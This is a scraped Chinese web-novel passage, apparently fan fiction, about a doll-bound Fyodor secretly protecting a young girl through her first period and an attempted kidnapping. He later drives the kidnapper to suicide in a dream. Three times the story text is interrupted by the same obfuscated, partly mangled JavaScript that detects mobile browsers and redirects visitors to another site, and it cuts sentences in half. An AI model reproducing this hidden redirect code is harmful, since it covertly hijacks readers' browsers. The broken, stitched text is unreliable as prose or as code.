若衣也只好匆匆跑进厕所里,找了一片妈妈的备用,换好衣服后,把脏衣服,还有那个被她弄脏了的坐垫套一起在清水下洗干净,这才放进了洗衣机。完成了这些工作,才打电话把事情和妈妈说明了。 妈妈暂时还回不来,也只能先告诉若衣药箱的位置,如果感觉痛得不行,就找一片布洛芬吃掉。 “放心吧妈妈!”当时的川上若衣拍拍胸脯,“虽然感觉哪里怪怪的,可是一点也不痛!” 然而—— 晚上,若衣是被痛醒的。 明明妈妈回来的时候还没怎么疼,甚至还能做几个广播体操的工作表明自己很精神,可半夜醒过来的时候,就觉得肚子里一阵翻搅。不管怎么翻身,都感觉不舒服。 对了,布洛芬! 妈妈说过的,如果很疼的话,吃下这个会好一点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17263971|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 药箱就在浴室洗手台上的柜子里。于是若衣慢慢爬了起来,去厨房带了杯水放在餐桌上后,就去浴室拿药了。 可当她捂着肚子来到浴室门口时,脚步却突然顿住了。 微弱的光线隐隐约约从对面的门缝里透了出来。而这间房间,是爸爸的书房。 以前妈妈还会用一下书房里的电脑,但是自从之前结婚纪念日爸爸给她又买了一个笔记本电脑后,除了打扫卫生便很少有人去书房了。 川上若衣立即意识到一个事实—— 书房里的人……很可能不是妈妈! 小偷?逃犯?强盗?这么多年来在电视上看到的坏人形象全都在小女孩的脑子里闪烁了一遍,她心里一凉,正准备去喊妈妈,却突然听见了一声“若衣”。 妈妈好像也是起来喝水的,揉着眼睛走过来:“睡不着吗?” 随即又看了一眼爸爸的书房:“若衣睡不着的话想玩电脑可以理解,但是爸爸的电脑有一些重要的文件,下次跟妈妈接电脑好不好?” “嘘——”害怕妈妈说话的声音惊到了里面的坏人,若衣做了个安静的手势,这才走在前面小心翼翼地打开了门。 她的目光落线了书房里—— “若衣果然用爸爸的电脑了。”妈妈笑着说道。 川上若衣先看了看屏幕上关于生理期的内容,再看了看费佳:“……” 好像…… 自己还真的洗不清了? 于是若衣只好一捂肚子:“疼——” 接过妈妈递过来的药吃下后,妈妈摸了摸若衣的头:“明天早餐妈妈打算做好一点,庆祝我们若衣长大了。所以若衣也把电脑关了,早点睡吧。不然会起不来的。” “是……” 虽然没有一点印象,可若衣还是主动去爸爸的房间,准备把电脑和灯都关掉然后带着费佳回房间睡觉。 可是当她看见电脑上的内容,却愣了一下—— 这是…… 只见,屏幕上是一条某虎知惠袋上的提问: 【大家的生理初体验是什么时候?】 她看了几条评论。大部分人都是在十一二岁的时候第一次来生理期,可也有一部分人是和她一样在十一岁生日之前来的,甚至还几个回答说道,自己直到中学三年级,甚至高中才第一次体验到生理期。 不知道为什么,若衣感觉到了一阵释怀感。 的确。这天晚上她有点睡得不安稳。但除了身体原因之外,也因为自己在想一个问题—— 虽然她五年级了,但也还没过十一岁生日。班上的其他女孩子们,甚至包括已经过了十一岁生日的孩子都没提过“我生理来了”这种事。 这样的她……会不会有点奇怪? 可是看着大家形形色色的经历,却好像是有人在告诉若衣,生理期的早晚只要在正常范围内,不过是和有的人能长到一米九,有的人却成年了身高都还不到一米五一样,不过是每个人的“个性”而已。 毕竟,老师和妈妈早就说过,那不过是正常的生理现象。 川上若衣刚想着明天起来要谢谢妈妈,这才突然意识到,妈妈好像以为是她在半夜偷偷查这些来着。 不是妈妈吗…… 那是—— 不自觉地,她的目光落在了电脑桌椅旁的费佳身上。 9.09 09 “费佳,是你吗?” “在电脑上帮我找到这个、提醒我明天的躲避球比赛可以帮助到小野,还有那天帮我写完了汉字练习册的,这些是不是都是你做的?” “你……是来帮爸爸照顾我的吗?” 站在电脑屏幕前,川上若衣小声地抱着她的娃娃问道。 但并没有得到回答。 娃娃只是一动不动地在她的手中,没有一点反应。 也是啊…… 如果真的是费佳的话,或许正是因为不想让她知道,所以才偷偷做这些事情的。毕竟一个布娃娃突然动了,即使是小学生的她也知道别人不会相信的。 而且,川上若衣最担心的是,如果真的是费佳,被她发现了之后会不会从此变成一个普通的布娃娃? 时间一天一天地过去,九月份,学校开学了。 费佳娃娃可能会动这件事,若衣没有告诉爸爸妈妈,也没有告诉日向夏。 她想,一旦把这件事告诉大人们的话,或许他们会像翔阳哥找出更合理的理由来解释。而当那个时候,费佳可能就会像圣诞老人一样,永远地被留在了童年。 反正她现在”长大”了!一个已经“长大”的孩子,有自己的秘密并不过分,不是吗? 但变化还是有的。 比如每天早晨会特别留意费佳所在的位置和昨晚的记忆相比是否有变化,再比如,费佳每天都会躺在若衣上学的书包里,而不再是书包里东西不多的时候会带过去。 开学第一天的晨会上,老师就说,上个学期就有人反映过的“可疑人士和小孩子搭话”暑期在这片区域又发生了好几次,让大家放学的时候小心一些,尽可能和关系好的同学一起回去。 同样的话日向夏地班级里也被提起过,尽管小夏看起来并不害怕的样子。 “因为我的确不怕啊。”似乎看出了川上若衣在想什么一样,日向夏得意洋洋地道,“猫酱你知道的,我体育一直都是五分!如果那种坏家伙真的找上我的话,揍一拳就好了。” “还是说,猫酱需要我陪你一起回家?” “这就……不必了。”川上若衣尴尬地笑了笑。 “也是啊,猫酱的体育也经常拿五分的。 “……” 小学的体育课拿一个满分……应该不到表可以抓住坏人吧?川上若衣心说。 不过她确实不害怕。 毕竟,她的书包里还有费佳呢! 费佳是否真的能动,川上若衣还没有验证,这几日的观察也没发现什么端倪。但至少在精神上,只要她的费佳娃娃在书包里,就好像真的牵着爸爸妈妈吗的手一起走一样,安全感满满。 更不用说,一个五年级的孩子,从来不会想象,那些只在电影或者新闻、报纸上看到的事情会发生在自己身上。 却忽视了这些事情都是来源于现实,别人亲身经历过的…… 九月末的一个午后。 从早上开始,天气就不太好。下午果然下起了雨。到了放学的时候,雨势已经变得很猛。 在天气这一方面妈妈从来不马虎,尤其是气温下降的秋冬季和温差较大的春季。因此,哪怕昨晚的天气预报说的是今天是阴天,若衣的书包里还是带上了一个黄色的折叠伞。把一个家就在学校附近,没有带伞的同学送回了家里后,若衣这才一蹦一跳地走在了回家的路上。 直到一个路口。 人行道是红灯,若衣很自觉地停了下来。而唯一在等着交通灯变绿的叔叔看见了她,笑着开了口: “你可以帮叔叔一个忙吗?” “……?”川上若衣撑着伞,疑惑地看着这个叔叔。 这个点……小孩子们虽然已经放学了,可大人们应该上班才对啊?为什么这个叔叔会在这里呢? 叔叔却自顾自说了下去: “是我的女儿。她就在附近的中学上一年级,今天特殊的日子好像第一次来了。但叔叔也不知道这个怎么处理。可以陪我去便利店买一下那孩子需要的东西,教一教她吗?” “……” 雨“刷刷”地下着。交通灯不知道什么时候已经变成了绿灯,可是斑马线前的两个人并没有行动的意思。 “好啊。”若衣甜甜地一笑,指了指一旁的某21,“跟我去便利店吧。” 书包里的费奥多尔:? 不是? 这傻猫……一点防备心都没有吗? 先不说这件事是否真的到了不继续像小孩子求助的地步,这大叔的女儿有女同学、女老师,大叔的职场也应该有女同事,亲戚中也应该有女性,不管哪个都比找一个小学生来强。 他看不见书包外面的场景,可是可以感觉到,川上若衣走了几步后,耳边传来了便利店的播放的流行歌曲。然后,川上若衣九拉住了一个人。 “店员桑,帮我报警。” “这个大叔是个想绑架小学女生的变态!” “……” 原来如此。 “魔人”感觉,他现在的心情应该是想露出笑容的。 把对方稳住,到达便利店这个有监控,也有其他大人的地方再寻求帮助,吗? 这的确比直接跑掉或者找理由拒绝更安全些。 可还没等他再次感叹川上若衣这只猫并不傻的时候,周围却传来了一阵骚动声。 ………… 川上若衣把男人带进便利店的时候,想着的是这样做大家就都安全了。却完全没考虑到便利店毕竟不是派出所,至少对方还有狗急跳墙的机会。 还没等听她说明情况的店员打电话报警,若衣的书包被一把扯了过来,掉在了地上。书包的扣子也在冲击中松开了,里面的东西散落在地。 但她没心力去关心这些了。 因为男人不知道从什么地方拿住了一把刀,正在用她的性命威胁着便利店里的人不许报警。 ”……” 这…… 这怎么和电影里的场景有点像? 只不过这一次她不再是屏幕外的观众。 而是人质本质。 事实证明,人真的到了危急关头,大脑的确是会当机的。至少川上若衣现在就感觉她好像全身掏空了一样,失去了思考能力。不论是店员“不要激动”的劝解,还是男人的带着威胁的话语,都变得十分遥远。 但费奥多尔不能这么做。 在若衣的书包 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17268773|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掉在地上的那一刻,他就已经感觉到自己又可以动了。 “魔人”很清楚,这一次的事情要比川上若衣之前遇到的那些都严重很多。如果他能解决,加的分也会很多。可川上若衣现在处于清醒状态的事实却又让他感到一些顾虑。 蠢猫已经怀疑他了,如果他出手的话,意味着已经无法用“睡迷糊了”、“是妈妈做的”来解释。 可—— 费奥多尔下定了决心。 算了,被发现就被发现吧。以他的能力,还是可以迂回一下,让一个小女孩不至于把他的存在告诉大人的。 于是,魔人的目光落在了便利店收银台的电话上。 另一边。 “话说,”似乎感觉自己已经占了优势,男人扬着手里的刀,说起了闲话,“你看上去也快上中学了吧,居然还带着布娃娃上学吗?” 他笑了笑: “也罢。看来你的爸爸妈妈的确是爱着你的,用你来威胁他们拿点钱给我花花应该不是点小事——” “啊——!” 尖叫声如雷贯耳。 川上若衣一口狠狠咬在了男人的手臂上,趁着她吃痛的机会挣脱了,又准确地一把踩在了他的脚上。 警车嗡嗡的鸣笛声,也恰好在这个时候响了起来。 那天,若衣是在宫城县警察本部被妈妈接回家的。 在看见女儿抱着布娃娃,安全地坐在搜查一课的沙发上时,妈妈第一次哭了,紧紧抱住了若衣。 搜查一课那边并没有什么事还要问母女二人,提醒若衣的妈妈这几天注意一下女儿的心理状况后,就让她回去了。直到小女孩被家人领着离开了,之前出警的两个警察才聊了起来。 “那个人目前还是声称,他只是想找个小孩,让孩子家长给他点钱花花?” “嗯。”旁边的警察点点头,“只能说,希望是这样吧。否则如果不是那个孩子机智……” “……” 沉默了一阵,一名年轻的警察才仿佛想缓解气氛一样开了口: “不过话说回来,报警的人到底是谁啊?” 就在今天下午,搜查一课接到了警情。但根据接线员的说法,对方并没有说话,只是让接线员通过电话的声音了解了这边的情况。幸好便利店的座椅号码一查就知道是哪里了,才能及时出警。 但无论是川上若衣,还是便利店里的店员都表示,他们没有报警,当时的情况连手机他们都无法接触,更不用说便利店的电话了。 几个警察相互看了几眼。 报警人…… 到底是谁呢? ………… 若衣家里。 那天,若衣难得和妈妈在一张床上睡觉。 但她还是习惯性地把费佳也带了过去,放在了床铺的中间。 只是,也不知道是因为刚经历了那种事,还是因为似乎一个猜测再一次得到了验证,小姑娘感觉十分精神,一点也睡不着。 直到听见了妈妈的鼻息声,她才坐起身,在黑夜里拿起了枕边的玩偶。 “费佳……” 看了妈妈一眼。川上若衣小声地说道: “今天报警的,是你吧?” 10.10 20 这猜测是有依据的。 在被一把拎起来的时候,川上若衣并没有心力去确认她书包的情况。直到安全了,才发现,掉出来的东西大多数都在书包附近,只有费佳安静地躺在了收银台底下。 刚才发生了那么多事,不小心被谁踢到,或者费佳从书包里掉下来的时候确实滚动了一段距离完全有可能。但若衣还是想相信,把警察喊来的,的确就是费佳。 然而并没有得到回应。 “也是啊……”川上若衣苦笑了一下,“毕竟这是费佳的秘密。” “但现在若衣也是有秘密的人了,那么我们就是同伴。”笑容很快恢复了平常,“是同伴,我悄悄告诉你吧……” “那个坏叔叔说,费佳只是一个娃娃之后,不知道为什么我就突然特别生气,然后才咬了她——” 女孩说着,做了个“嘘”的动作: “费佳,可不许告诉妈妈哦。” 说完,就抱着娃娃闭上了眼睛。 她不知道,此时的费奥多尔的内心,要更加复杂。 其实“魔人”很清楚,这个时候对自己来说的最优解,是装作真正的娃娃。 便利店里有其他大人,有路过的人看见了可能也会报警。其实就算放任不管,那只猫或许也能获救。而且,也是一个测试“不作为”会被怎么判定的机会。 更不用说万一被看到或者被监控拍到造成的后果了。 但当看见小女孩迷茫又无助的眼神时,他还是努力站起身,迈着小短腿爬到了收银台上,拨下了110。 川上若衣还不能死,如果真的出了事,自己很可能只能做一辈子洋娃娃了。费奥多尔这样在心里告诉自己。 可无论怎么强调这个事实,却也抹消不了的确是小姑娘的一个眼神促使了他的行动,也抹消不了他当时真的认为,这孩子也许很期待同样在场的“费佳”能救他。 就好像……每一次教父殴打、被关在黑漆漆的房间里、做错了事就要挨饿,即使有食物吃也是生土豆的时候,他也希望那两位生理学上是他父母的人可以出现,然后带他走一样…… “……” 费奥多尔下意识想扶额,然后才反应过来自己现在的状态。 真是的…… 他该不会真的把川上若衣当成自己的妹妹,或者小孩之类的了吧…… 这让魔人觉得可笑,可是心里的某个角落却又好像无法平静。 ………… 可能是因为紧绷着的神经放松了下来。 第二天,川上若衣就开始发烧。 直接烧到了38度,整张小脸都是通红通红。接受了妈妈爱心粥的投喂,又吃了退烧药,在额头上贴上了退热贴后,小姑娘总算是睡着了。 费奥多尔就坐在旁边。 看着小女孩涨得红扑扑的脸和并不安慰的睡颜,他总觉得,心里似乎有什么说不清道不明的东西在一点一点地刺激着他。 若衣的妈妈今天也在家里陪着女儿。看见若衣睡着了,这下把刚才没接的电话回拨了过去。从对话的内容来看,对方应该是那个在莫斯科的爸爸。 妈妈讲电话的内容,费奥多尔断断续续听到了一些。 “嗯……若衣现在情况还好。有什么问题的话,我会及时带她做心理咨询的。” “我问过做律师的朋友了。对方说,以现在的证据,只要那个人咬死了他只是想跟我要钱,即使进去了,可能也只关个三五年的。” “但他对一个上小学的女孩说出那种谎言,你觉得我会相信只是想要钱吗?而且最近这一带上被可疑人士打了招呼的,都是女孩……” 说到这里,女人的声音哽咽了一下: “那个拿人记住了若衣的脸!而且五年后,若衣都还不到十八岁啊。” “我知道,我可以搬家,去其他的城市,甚至趁此机会带若衣去莫斯科找你。可是我不懂,为什么要跑的是我们?我又该怎么和那孩子解释,到底是因为什么让她不得不离开熟悉的环境和朋友……?” “……” 费奥多尔紫葡萄颜色的眼睛再一次变得凌厉了起来。 他看了一眼床上的女孩。 和童年时期的他不同,川上若衣是一个在爱意里长大的孩子。 她有着足够爱她,也很开明的妈妈。爸爸虽然长期不在家,可是也并没有因为物理上的距离真的缺过席。她不知道这个世界的罪恶,就好像一朵温室里的花朵。 “……” 费奥多尔突然意识到了什么。 将一朵纯白的新生的花儿染成红色,这难道不是他最想净化的“罪”吗? 更不用说还是这种大家都看得出来,但就是没办法的“罪”。 在这一刻,他突然有一种很奇怪的感觉。 就好像,有什么被剥离了一样…… 就在意识消失的那一刻,他再次看到了自己的分数。 66/10。 之前还是46,但因为报警的事情,他一下子拿到了20分。只不过那之后并没有变化发生。 难道所谓的“50分后的变化”是…… 看守所里。 今天警察们似乎没有传唤自己的意思,男人无所事事地躺在床上。 他不懂具体的法律条款,可也知道,那小丫头,还有便利店的店员们没有受伤,反而是他被咬了一口,即使最后上了法庭,自己也不会进去多久。 而且“要钱”这个理由本来也没问题。他确实是打算顺便捞上一笔的。 至于真的进去了以后? 踩缝纫机就踩吧,至少有免费吃喝住的地方不是吗? 这样想着,男人突然感觉到一阵疲惫,进入了梦乡。在梦中,他看见了一个戴着白色绒毛,眼睛如同紫葡萄一样的人。 可不知道为什么,那双无神的眼睛明明只是很平静地看着他,甚至没有任何可以察觉到的感情,还是下让人仿佛被捕食者盯上的小兽,感觉浑身发凉。 “你是谁?”他下意识问道。 “罪和罚,是一对好朋友(1)。”那人自言自语般说道,“可是你的罚,却要离开了。” “既然如此,只能让我帮帮可怜的‘罚’了。” “比如,让你看看你曾经做过一次,却逃过了法网的事情吧。” “但不是你的视觉。” 一个小时后。 跟进这起案子的两名警察再一次提审。 搜查令申请下来后,他们就调查了男人的家里,果然他的电脑上发现了一些东西。 虽然这些东西不能作为证据,但为了那个叫若衣的姑娘以及其他潜在的受害者,他们还是决定再试一次。 可来到看守所,他们才发现—— 嫌疑人倒在地上,已经没了生命体征。 而且,种种迹象证明,唯一的可能性,是他自己掐着自己的脖子,直到窒息…… “……!” 拿在手上的警察手册,掉落在地。 ………… 十月份的时候,川上若衣搬了家。 但好在她还住在原来的城市,学校也没有变,而且 她现在所在的房子和日向夏的家正好在一个方向,离得不远。从此,若衣每天都可以在清晨和好友问好久一起登校,然后在放学后一起走到家门口,然后告别。 这让小姑娘很快忘记了那天发生的可怕的事情。 直到有一天,因为妈妈在工作所以便去小夏家一起写作业的若衣听到了电视的声音。 是新闻,好像是关于“上个月因为诱拐的嫌疑被抓捕的嫌疑人A在看守所里自我了结了。” “这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17270038|198039||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是那个老师们口中的可疑人士吧。”日向夏嘟哝着说道,“不过那个被他劫持的孩子真的挺聪明啊。就着对方的理由把人引到便利店什么的……” “如果是我的话就算看出不对劲,可能也想不到这个。” 日向夏挥了挥牵头: “要么拒绝,然后跑路,要么一拳头揍上去!” “噗嗤——”若衣笑出了声。 “你笑话我!“日向夏马上小拳拳锤在了她的肩膀上。 “夏酱,”川上若衣一边躲避着日向夏的攻击,一边说道,“告告诉你一个秘密。” “秘密?” 日向夏皱眉:“你该不会想说,那个被劫持的,差点遭遇诱拐的孩子是你吧?” “当然——”若衣拉长了语气,然后盯着日向夏张成o型的嘴说道,“哈哈,逗你玩的。” “猫酱——” 小拳拳再一次锤了上来。 关于自己就是新闻里那个小孩,既然新闻里没有说出她的名字,川上若衣也就没有和任何人声张了。 毕竟,她还要保守住自己的秘密。 只是…… 若衣的目光落在了一旁桌子上的费佳身上。 如果说没有秘密长不大的话,她是不是离“大人”又近了一步? 等她真的成为了“大人”…… 费佳还会是费佳吗? ………… 小孩子最大的幸福,大概就是什么都能轻拿轻放。 可能上一秒还在因此被春伤秋的事,下一秒就被扔回了潜意识里。川上若衣的日子再一次恢复了平常。每天照样去上学,照样练习排球,照样写作业,然后悄悄地和费佳、妈妈聊一聊今天的事情。 就仿佛那日遇到的危险不过是一场噩梦,或者看了一部电影而已。 日子一天天冷了起来,冬天很快来了。 平安夜那天,小姑娘很开心地和妈妈一起享用了晚餐后,就回到房间,神神秘秘地写着什么。费奥多尔被放在床上,视线无法看清文字,只知道川上若衣准备了两个圣诞袜,一个挂在了床头,而另一个则放在了枕头底下。 夜晚。 在若衣入睡,妈妈悄悄把圣诞礼物放在了房间里后,费奥多尔突然能动了。 他第一个想到的,就是若衣那个藏在枕头下的圣诞袜。 小心翼翼地把纸条拿了出来,费奥多尔用小短手握着纸条,看起了上面的内容。 【圣诞老人: 哪怕一次也好,希望能和费佳对一次话。】 “……” 果然。 蠢猫已经认定了他是个能活动的娃娃。 不知道为什么,费奥多尔想到了他的数字。 那日,他发现,当他决定“净化”那个企图伤害若衣的人时,自己真的进入了对方的梦境,也知道了,他真正的动机的确是大家都猜测的那样,甚至以前做过这种事,只是没被发现而已。 于是,费奥多尔让他换了个角度重新体验了一遍。结果那个脆弱的家伙就直接精神失常,甚至自己掐着自己的脖子不放了。 对此,他没什么反应。他本就见惯了生死,的这个人更是罪有应得。 虽然进入梦境让他失去了十个积分,可是又赚到了十五个,再加上这段时间也暗中帮助了若衣几次,现在费奥多尔的积分已经到了71。 川上若衣还有几个月就要上六年级了,而他,或许也将完成自己的任务。 他不会甘愿一辈子做一个布娃娃,更不用说她会长大,会有不再因为那些布娃娃身体也可以解决的事情烦恼的一天。这预示着,他只会留在这个小女孩的童年里。 费奥多尔看了一眼桌面。若衣的铅笔整齐地放在笔筒里。 要不要…… 完成一下这个蠢猫的圣诞愿望?